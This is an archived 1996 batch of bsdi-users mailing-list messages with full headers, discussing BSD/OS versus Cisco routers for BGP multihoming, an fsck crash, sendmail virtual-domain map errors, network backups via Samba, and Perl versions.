Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com cc: info-bsdi-users@uunet.uu.net Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 09:49:11 -0500 (EST) I believe only the 4700M will carry full routing tables. Makes you kinda wonder why you should pay $17000 for a router that a bsdi box (configured correctly) could do huh? I'd like to see a plug n play bsdi router ready to multi-home/bgp4 available. Certainly worth the money imo. Sam On 17 Nov 1996 david@news1.anet-dfw.com wrote: > > Offhand, I forget what features the 2514 has. Make sure it can support full > bpg routing tables, or else you may run into problems when your routing > tables become large. > We are multihomed using 2 routers, and one of the routers does not support > full bpg routing tables, and therefore, we are looking to consolidate > the 2 multihomed POPS, or upgrade our 2500 series router to a 4500 series. > I do not recommend letting bsdi do your routing for you. The routing daemons > work ok, but when you are using a software based PC/Router, you are bound > to be less than perfect. > > > DB > > > Armando Escalante (armando@tio.com) wrote: > > : I'm going add a new line to my site, would anyone recommend the best way > : to go? > : I have a cisco 2514 but know that a bsdi box with T1 boards also > : works as a router. Using GateD? > > : Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI > : instead? What would cost less and be easier to configure? > > : Where can I find out? > > : Thanks in advance! > : Armando > From VM Mon Nov 18 23:29:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1250" "Sun" "17" "November" "1996" "22:39:39" "PST" "Jen Landry" "jlandry@cinneti.com" nil "32" "UNREF FILE and System halt" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA09986 for ; Mon, 18 Nov 1996 10:58:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA04883 for bsdi-users-outgoing; Mon, 18 Nov 1996 10:47:44 -0500 (EST) Path: news Newsgroups: info.bsdi.users Organization: CinNetic Lines: 32 Message-ID: <56pvru$8mr@news.cinnetic.com> Reply-To: jlandry@cinnetic.com NNTP-Posting-Host: beta.cinnetic.com Mime-Version: 1.0 X-Newsreader: WinVN 0.93.9 Precedence: bulk From: jlandry@cinneti.com (Jen Landry) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: UNREF FILE and System halt Date: Sun, 17 Nov 96 22:39:39 PST >> UNREF FILE I=147924 OWNER=root MODE=100777 >> SIZE=920 MTIME=Oct 30 14:14 1996 >> CLEAR? no >> >These look like what you normally get in the daily output. You should >expect to see a few errors in the daily filesystem check simply because >the system is in multiuser mode when the check is run. Is there any reason why this output might cause a BSDI system to come to a halt? For some reason my BSDI computer, was crashing every two or three days. Eventually I narrowed down the time of crash to corrospond exactly with the daily script run. So I did some debugging, by writing the output of the program to a file, and sure enough the system was crashing towards the beginning of fsck. So I took out the offending code and have been running said code manually. Two or three days ago, I got one of these UNREF FILE Errors. After two passes with fsck the system came to a halt. After the system came back up, I ran fsck again and no UNREF FILE errors appeared. Any thoughts? ------------------------------------------------------------ Jen Landry jlandry@cinnetic.com System Administrator Voice: 513-621-6003 CinNetic FAX: 513-621-6009 From VM Mon Nov 18 23:29:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1925" "Mon" "18" "November" "1996" "09:27:45" "-0600" "david@news1.anet-dfw.com" "david@news1.anet-dfw.com" nil "57" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA10006 for ; Mon, 18 Nov 1996 11:02:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA04877 for bsdi-users-outgoing; Mon, 18 Nov 1996 10:47:36 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: david@news1.anet-dfw.com Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: info-bsdi-users@uunet.uu.net Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 09:27:45 -0600 (CST) On Mon, 18 Nov 1996, Sam Brown wrote: > I believe only the 4700M will carry full routing tables. Makes you kinda > wonder why you should pay $17000 for a router that a bsdi box (configured > correctly) could do huh? I'd like to see a plug n play bsdi router ready > to multi-home/bgp4 available. Certainly worth the money imo. I guess it depends on what level of service you would like to provide. Peronally, I wouldnt want to be woken up at 3:30am to find out that the bsdi box has crashed either due to hardware or software. Also, you will get much better switching from an actual router, and a bsdi box running a routing daemon. There are also various security issues involved with running a unix box as your router. DB > > Sam > > > On 17 Nov 1996 david@news1.anet-dfw.com wrote: > > > > > Offhand, I forget what features the 2514 has. Make sure it can support full > > bpg routing tables, or else you may run into problems when your routing > > tables become large. > > We are multihomed using 2 routers, and one of the routers does not support > > full bpg routing tables, and therefore, we are looking to consolidate > > the 2 multihomed POPS, or upgrade our 2500 series router to a 4500 series. > > I do not recommend letting bsdi do your routing for you. The routing daemons > > work ok, but when you are using a software based PC/Router, you are bound > > to be less than perfect. > > > > > > DB > > > > > > Armando Escalante (armando@tio.com) wrote: > > > > : I'm going add a new line to my site, would anyone recommend the best way > > : to go? > > : I have a cisco 2514 but know that a bsdi box with T1 boards also > > : works as a router. Using GateD? > > > > : Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI > > : instead? What would cost less and be easier to configure? > > > > : Where can I find out? > > > > : Thanks in advance! > > : Armando > > > > From VM Mon Nov 18 23:29:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["254" "Mon" "18" "November" "1996" "16:57:22" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "9" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA10848 for ; Mon, 18 Nov 1996 11:28:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA05009 for bsdi-users-outgoing; Mon, 18 Nov 1996 11:25:37 -0500 (EST) Message-Id: <9611181657.ZM6539@masschaos.de.convex.com> In-Reply-To: david@news1.anet-dfw.com () "Re: Dual Homing w/BSDI or 25xx?" (Nov 17, 23:48) References: <56o89a$o1s@news1.anet-dfw.com> X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com (), info-bsdi-users@uunet.uu.net Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 16:57:22 +0100 > I do not recommend letting bsdi do your routing for you. The routing daemons > work ok, but when you are using a software based PC/Router, you are bound > to be less than perfect. But isn't a 2514 just a software based 68020/Router? :) Cheers, Ray From VM Mon Nov 18 23:29:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["457" "Mon" "18" "November" "1996" "11:19:12" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "11" "Re: UNREF FILE and System halt" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA10867 for ; Mon, 18 Nov 1996 11:32:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA04979 for bsdi-users-outgoing; Mon, 18 Nov 1996 11:19:48 -0500 (EST) In-Reply-To: <56pvru$8mr@news.cinnetic.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: jlandry@cinnetic.com cc: BSDI Users Mailing List Subject: Re: UNREF FILE and System halt Date: Mon, 18 Nov 1996 11:19:12 -0500 (EST) > Is there any reason why this output might cause a BSDI system to come to > a halt? No. Nothing an "fsck -n" does should be able to crash the system. You have something else wrong, probably a hardware problem that shows up when your disks are exercised in some unusual way (especially vigorously?). Henry Spencer henry@zoo.toronto.edu From VM Mon Nov 18 23:29:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1085" "Mon" "18" "November" "1996" "11:46:05" "-0500" "Percy E. Perez" "percy@intercall.com" nil "41" "Virtual Domain names, database creation." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA11135 for ; Mon, 18 Nov 1996 11:42:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA05086 for bsdi-users-outgoing; Mon, 18 Nov 1996 11:38:06 -0500 (EST) Message-Id: <2.2.32.19961118164605.00bae170@mail.intercall.com> X-Sender: percy@mail.intercall.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Percy E Perez Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 11:46:05 -0500 Hello guys, I modified my sendmail and entered the following changes, S98 R$+ < @ $+ . > $: $1 < @ $2 > . R$+ < @ $+ > $* $: $(maildata $1@$2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > $* $: $(maildata $2 $: $1 < @ $2 > $3 $) R$+ < @ $+ > . $: $1 < @ $2 . > with the file maildata.db (Text Format) that holds these associations: percy@yourisp.com percy pat@yourisp.com jane youisp.com mac then I got the following message: >Date: Fri, 15 Nov 1996 13:21:34 -0500 (EST) >From: Mail Delivery Subsystem >Subject: Returned mail: rewrite: map maildata not found > > ----- Transcript of session follows ----- >554 rewrite: map maildata not found >554 rewrite: map maildata not found >554 rewrite: map maildata not found >554 rewrite: map maildata not found >554 rewrite: map maildata not found >554 rewrite: map maildata not found > I figure if I enter the following it would solve the problem, but it didn't. makemap btree maildata.db < maildata What am i doing wrong, any suggestions? Thanks in advance. From VM Mon Nov 18 23:29:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["928" "Mon" "18" "November" "1996" "12:52:57" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "25" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA11698 for ; Mon, 18 Nov 1996 12:00:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA05103 for bsdi-users-outgoing; Mon, 18 Nov 1996 11:53:28 -0500 (EST) In-Reply-To: <1.5.4.32.19961118134858.006a46b8@main.cyberzone-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Mon, 18 Nov 1996 12:52:57 -0400 (AST) On Mon, 18 Nov 1996, Douglas Sand wrote: > This I am sure is NOT the only solution, but one I know will work. > > There is a program out there called samba (for UNIX). I have not had a > chance to install it yet, but this is how it works (from what I understand): > > You install samba which will allow you to map the UNIX to any drive letter > you like on either a lan connection or a dialup connection. Once you do > that, you just back up on your NT machine, and pick up whatever drive you > created...sounds simple enough. I have used Samba quite a bit, and it works very well. The major problem being that you will have to map your entire system to dump it to tape with this method. Regardless, Samba does work well and it makes working with web pages much easier as you can save images etc from your Win95/NT desktop directly to the server as if it were a local drive under Win. -- Jeff jacampbe@is2.dal.ca From VM Mon Nov 18 23:29:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["341" "Mon" "18" "November" "1996" "18:18:37" "+0100" "Ray Davis" "rdavis@masschaos.de.convex.com" nil "11" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA12254 for ; Mon, 18 Nov 1996 12:24:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05202 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:18:57 -0500 (EST) Message-Id: <9611181818.ZM6838@masschaos.de.convex.com> In-Reply-To: david@news1.anet-dfw.com "Re: Dual Homing w/BSDI or 25xx?" (Nov 18, 9:27) References: X-Mailer: Z-Mail (3.2.1 10oct95) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Ray Davis" Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com Cc: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 18:18:37 +0100 > Also, you > will get much better switching from an actual router, and a bsdi box running > a routing daemon. There are also various security issues involved with > running a unix box as your router. As I understand it, the "OS" for the NetStar/Ascend GigaRouter is BSD/OS. :) There is a lot extra hardware there, though. Cheers, Ray From VM Mon Nov 18 23:29:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1019" "Mon" "18" "November" "1996" "12:15:23" "-0500" "Sam Brown" "root@ns2.clever.net" nil "27" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA12539 for ; Mon, 18 Nov 1996 12:33:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05196 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:18:31 -0500 (EST) In-Reply-To: <9611181657.ZM6539@masschaos.de.convex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Ray Davis cc: david@news1.anet-dfw.com, info-bsdi-users@uunet.uu.net Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 12:15:23 -0500 (EST) I'd consider a 386-25 running bsdi about as powerful as a 2514, and under the same loads just as stable. One of our barely used web servers (p-90 netptune,64 meg ram,dual 4 gig scsi) servers averages uptimes of over 90 days, while the hard hit servers aren't as stable, i consider that particular box reasonable stable (about 1-3 hits per second/cgi is light).. I was just making the point that a cheap $3000 pc could easily equal a 4700M in providing the BGP4 multi-homing with full routes whilst saving you $15G's.. Money does count to some people especially small ISP's who can't afford to lease/buy a very overpriced box :) I would never recommend a router do anything but route and firewall.. Sam On Mon, 18 Nov 1996, Ray Davis wrote: > > I do not recommend letting bsdi do your routing for you. The routing daemons > > work ok, but when you are using a software based PC/Router, you are bound > > to be less than perfect. > > But isn't a 2514 just a software based 68020/Router? :) > > Cheers, > Ray > From VM Mon Nov 18 23:29:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["92" "Mon" "18" "November" "1996" "10:32:34" "-0700" "Joe Ilacqua" "spike@indra.com" nil "8" "Re: Virtual Domain names, database creation. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA12544 for ; Mon, 18 Nov 1996 12:33:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05269 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:33:08 -0500 (EST) Message-Id: <199611181732.KAA11977@coke.indra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Precedence: bulk From: Joe Ilacqua Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 10:32:34 -0700 > makemap btree maildata.db < maildata Use: makemap btree maildata < maildata ->Spike From VM Mon Nov 18 23:29:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1392" "Mon" "18" "November" "1996" "09:23:33" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "34" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA12548 for ; Mon, 18 Nov 1996 12:34:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05258 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:29:37 -0500 (EST) Message-Id: <199611181723.JAA18670@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bobie@grendel.sylaba.poznan.pl, bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Mon, 18 Nov 1996 09:23:33 -0800 (PST) > I'm running BSDI 2.1 on Pentium 133/32MB RAM/2 GB SCSI HDD > > The second PC is Windows NT 3.51 Workstation. It has HP SureStore Tape 6000 > streamer for backup purposes of course. > > We want to backup both machines on one tape. > I need of course an incremental backup on my BSD machine > and backup on Win NT. > > I'd like to ask for help someone with similiar problems. > I'd suggest that you put the tape into an external box (if its not already) and physically move it from one machine to the other. You can get ISA SCSI adapters for less than $50 if you need an additional one for the tape drive. Another alternaltive would be to get another BSD/OS license for the Windows NT machine and run that for remote dumps from the original BSD/OS machine. You could request permission from BSDI to run BSD/OS temporarily for the purposes of doing dumps only under your existing license. If you can't bring down the NT machine, you could probably use NFS to mount the filesystems on the NT machine from the BSD/OS machine and then use the NT dump program, but you'd probably use useful attribute information (this would be mostly useful if the files you are most interested in are user data files). Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Mon Nov 18 23:29:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["240" "Mon" "18" "November" "1996" "12:50:45" "-0500" "Percy E. Perez" "percy@intercall.com" nil "12" "Virtual Domain Name database" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA12823 for ; Mon, 18 Nov 1996 12:46:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05294 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:42:31 -0500 (EST) Message-Id: <2.2.32.19961118175045.00a0154c@mail.intercall.com> X-Sender: percy@mail.intercall.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Percy E Perez Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Virtual Domain Name database Date: Mon, 18 Nov 1996 12:50:45 -0500 Thank you guys for your responses, but I still get the same message, I used hash and included it in s98, and gives the error: web# rewrite: map maildata not found rewrite: map maildata not found Anymore Suggestions? Thanks again From VM Mon Nov 18 23:29:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["130" "Mon" "18" "November" "1996" "10:44:24" "-0700" "Joe Ilacqua" "spike@indra.com" nil "7" "Re: patch from Eric Allman for sendmail exploit " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13091 for ; Mon, 18 Nov 1996 12:49:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05314 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:44:47 -0500 (EST) Message-Id: <199611181744.KAA12037@coke.indra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Precedence: bulk From: Joe Ilacqua Sender: owner-bsdi-users@lists.gateway.com To: Mike Greene cc: bsdi-users@BSDI.COM Subject: Re: patch from Eric Allman for sendmail exploit Date: Mon, 18 Nov 1996 10:44:24 -0700 There's also sendmail 8.8.3 which includes the patch in ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.8.3.tar.gz ->Spike From VM Mon Nov 18 23:30:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1055" "Mon" "18" "November" "1996" "12:41:23" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "22" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13096 for ; Mon, 18 Nov 1996 12:52:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA05298 for bsdi-users-outgoing; Mon, 18 Nov 1996 12:42:39 -0500 (EST) In-Reply-To: <9611181818.ZM6838@masschaos.de.convex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Ray Davis cc: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 12:41:23 -0500 (EST) > > There are also various security issues involved with > > running a unix box as your router. > > As I understand it, the "OS" for the NetStar/Ascend GigaRouter > is BSD/OS. :) There is a lot extra hardware there, though. The Telebit Netblazers are also BSD/OS machines, as I recall, and at least one well-regarded commercial firewall system is based on BSD/OS. Mind you, a certain amount of customization has probably taken place in these products, so they're not necessarily indicative of what you can do in an hour in your basement. That's actually a fair statement in general. There's nothing magic about the software in routers that makes it faster and more reliable than a copy of BSD/OS, and certainly there's nothing magic about the hardware. The big difference is simply that a lot more man-hours have been put into customizing and testing the software for the specific application. Henry Spencer henry@zoo.toronto.edu From VM Mon Nov 18 23:30:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1620" "Mon" "18" "November" "1996" "13:16:38" "-0500" "Evan Champion" "evanc@synapse.net" nil "33" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA14236 for ; Mon, 18 Nov 1996 13:35:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA05419 for bsdi-users-outgoing; Mon, 18 Nov 1996 13:17:06 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: david@news1.anet-dfw.com cc: Sam Brown , info-bsdi-users@uunet.uu.net Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 13:16:38 -0500 (EST) On Mon, 18 Nov 1996 david@news1.anet-dfw.com wrote: > Peronally, I wouldnt want to be woken up at 3:30am to find out that > the bsdi box has crashed either due to hardware or software. Also, you > will get much better switching from an actual router, and a bsdi box running > a routing daemon. There are also various security issues involved with > running a unix box as your router. I should note here that in the year or so I've been using a dedicated BSD/OS box as a router (as opposed to a server that was doing other things), it has never crashed. UNIX routers should be very simple boxes, with the bare essentials in terms of hardware and software; in my case, it is filled to the gills with network cards (4), but I use the on-board IDE and a plain VGA card, but in terms of software all the box runs is gated and the ISODE snmpd/smux daemons. In addition, the configuration almost never changes, unlike a normal UNIX server which may change quite a bit, so there is not really any reason for either the software (OS or applications) or the hardware to cause problems. Note that if I had the money available, I would certainly put in a big Cisco, but for performance reasons only. I don't suspect that performance will become an issue for quite some time, however, as the BSD/OS box seems to do quite well with 1 100baseTX and 3 10baseT network, one going out to our T1 which tends to constrain network traffic anyway. Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Mon Nov 18 23:30:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1478" "Mon" "18" "November" "1996" "18:24:20" "+0000" "Allen Copsey" "allenc@innotts.co.uk" nil "61" "Re: Virtual Domain names, database creation." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA14503 for ; Mon, 18 Nov 1996 13:40:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA05445 for bsdi-users-outgoing; Mon, 18 Nov 1996 13:25:03 -0500 (EST) In-Reply-To: <2.2.32.19961118164605.00bae170@mail.intercall.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Allen Copsey Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 18:24:20 +0000 (GMT) Apart from needing to do makemap hash maildata Hello guys, > > I modified my sendmail and entered the following changes, > > S98 > R$+ < @ $+ . > $: $1 < @ $2 > . > R$+ < @ $+ > $* $: $(maildata $1@$2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > $* $: $(maildata $2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > . $: $1 < @ $2 . > > > with the file maildata.db (Text Format) that holds these associations: > > percy@yourisp.com percy > pat@yourisp.com jane > youisp.com mac > > then I got the following message: > > >Date: Fri, 15 Nov 1996 13:21:34 -0500 (EST) > >From: Mail Delivery Subsystem > >Subject: Returned mail: rewrite: map maildata not found > > > > ----- Transcript of session follows ----- > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > > > > I figure if I enter the following it would solve the problem, but it didn't. > > makemap btree maildata.db < maildata > > > What am i doing wrong, any suggestions? > > Thanks in advance. > > From VM Mon Nov 18 23:30:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1267" "Mon" "18" "November" "1996" "11:38:52" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "53" "Re: Perl 5.00? (and a thank you to all) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA14790 for ; Mon, 18 Nov 1996 13:54:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA05490 for bsdi-users-outgoing; Mon, 18 Nov 1996 13:39:41 -0500 (EST) Message-Id: <199611181838.LAA00642@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Fri, 15 Nov 1996 17:22:09 GMT." <199611152217.RAA11845@web-ex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com cc: bsdi-users@BSDI.COM, billn@tao.bsdi.com Subject: Re: Perl 5.00? (and a thank you to all) Date: Mon, 18 Nov 1996 11:38:52 -0700 "Jim Cassata" writes: >I would like to thank everyone who participates in this list for making it >so great. All of you help this guy put food on the table for his family. > >How do I determine if I have PERL 5.001 or .002? >I tried searching through the directories and man pages, but no luck. I >have 2.1 which was installed about a year ago. Or better yet, where would >I find a recent version? > >Thanks again > >Jim Cassata >______________________ >jim@web-ex.com >Web Express, Inc. >20 Broadhollow Road >Suite 3011 >Melville, NY 11747 >516.421.6000 >516.421.3882 fax Jim: You should have PERL 4.0 and 5.001 $ perl -v This is perl, version 4.0 $RCSfile: perl.c,v $$Revision: 1.2 $$Date: 1993/12/22 17:08:26 $ Patch level: 36 + suidperl security patch Copyright (c) 1989, 1990, 1991, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 4.0 source kit. $ perl5 -v This is perl, version 5.001 Unofficial patchlevel 1m. + suidperl security patch Copyright 1987-1994, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5.0 source kit. -Bill N From VM Mon Nov 18 23:30:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1633" "Mon" "18" "November" "1996" "13:41:28" "-0500" "USENET News" "news@news.interactive.net" nil "39" "" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15066 for ; Mon, 18 Nov 1996 14:07:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA05587 for bsdi-users-outgoing; Mon, 18 Nov 1996 13:55:42 -0500 (EST) Message-Id: <199611181841.NAA02264@news.interactive.net> Precedence: bulk From: USENET News Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Date: Mon, 18 Nov 1996 13:41:28 -0500 (EST) Newsgroups: info.bsdi.users Path: ritz From: ritz@onyx.interactive.net (Chris Mauritz) Subject: Re: Moderated List? (was Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)) X-Nntp-Posting-User: ritz Sender: news@news.interactive.net (USENET News) Organization: IBS Interactive, Inc. Lines: 20 Message-ID: References: 